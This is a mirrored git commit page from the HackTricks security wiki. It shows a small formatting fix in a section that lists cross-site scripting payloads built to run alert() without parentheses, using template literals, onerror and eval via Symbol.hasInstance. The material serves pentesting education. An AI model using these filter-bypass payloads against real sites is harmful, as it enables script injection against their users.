mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
fix xss
This commit is contained in:
parent
a01d953303
commit
a05a090807
@ -693,7 +693,7 @@ function btt(){
|
||||
btt`${'arg1'}${'arg2'}${'arg3'}`
|
||||
|
||||
//It's possible to construct a function and call it
|
||||
Function`x${'alert(1337)'}x```
|
||||
Function`x${'alert(1337)'}x`
|
||||
|
||||
// .replace can use regexes and call a function if something is found
|
||||
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
|
||||
@ -741,6 +741,7 @@ try{throw onerror=alert}catch{throw 1}
|
||||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||||
|
||||
```
|
||||
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user